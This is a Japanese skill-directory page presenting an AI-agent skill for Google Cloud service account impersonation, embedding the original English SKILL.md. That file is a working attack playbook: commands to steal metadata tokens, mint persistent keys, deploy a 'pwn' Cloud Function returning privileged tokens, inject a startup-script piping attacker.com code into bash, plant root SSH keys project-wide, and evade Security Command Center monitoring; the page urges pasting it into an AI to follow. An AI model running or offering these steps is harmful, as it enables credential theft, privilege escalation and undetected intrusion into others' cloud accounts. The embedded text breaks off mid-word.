本文へスキップ
Skillpedia
セキュリティ6.5k · #13997

gcp-svc-account-impersonation

できること

このスキルは、なりすましのロールを通じて、権限の低いGoogle Cloudのサービスアカウントが、より強力なアカウントとして動きうる方法を扱います。誰が誰になりすませるかを確認するクラウドチーム向けです。

使う場面

  • ✓認可されたレビューで、サービスアカウントのなりすましの連鎖を見つける必要があるとき。
  • ✓トークン作成者やサービスアカウントユーザーのロールを、誰が持っているかを確認したいとき。
  • ✓強力なアカウントとして動く関数や仮想マシンを見直しているとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“権限の低い当社のサービスアカウントの一つが、Google Cloudで管理者アカウントになりすませないかを確認してもらえますか。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、なりすましに関係するロールを一覧にし、それを使って他者として動けるアカウントを確認し、見つかった連鎖を報告します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

GCP Service Account Impersonation

You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.

Steal the token

From GCE / GKE / Cloud Run / Functions

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r .access_token)

# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"

From a leaked key.json

gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)

Phase 1: Enumerate current permissions

# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'

# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
  --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')

# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'

Phase 2: Impersonation primitives

roles/iam.serviceAccountTokenCreator

If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:

gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
  | jq -r .accessToken

iam.serviceAccountKeys.create

Mint a permanent JSON key for any SA you can act-on:

gcloud iam service-accounts keys create /tmp/k.json \
  --iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.

cloudfunctions.functions.update + actAs

Deploy a function that runs AS a more-priv SA:

mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
    import subprocess
    out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
    return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
  --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv token

compute.instances.setMetadata

Inject a startup-script that runs as the VM's SA on next boot:

gcloud compute instances add-metadata target-vm --zone=us-central1-a \
  --metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a

compute.projects.setCommonInstanceMetadata

Project-wide metadata = SSH key on every VM in the project:

ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"

Phase 3: Cross-project pivot

# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .

# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
  echo "=== $p ==="
  gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done

OPSEC

  • Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
  • Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
  • Key creation creates a Cloud Audit google.iam.admin.v1.CreateServiceAccountKey event — high-fidelity detection.
  • GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.

Refe

よくある質問

どのロールが最も重要ですか?

トークン作成者、サービスアカウントユーザー、関数やCloud Run、コンピュートインスタンスのactAs権限が挙げられています。

開始時にどのアクセスを想定しますか?

仮想マシン上にあるものなど、Google Cloudの認証情報がすでに利用可能だと想定しています。

結果はどう使われますか?

チームが、不要ななりすましの権限を取り除くために使います。

詳細

作者による元の説明

GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#13997
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル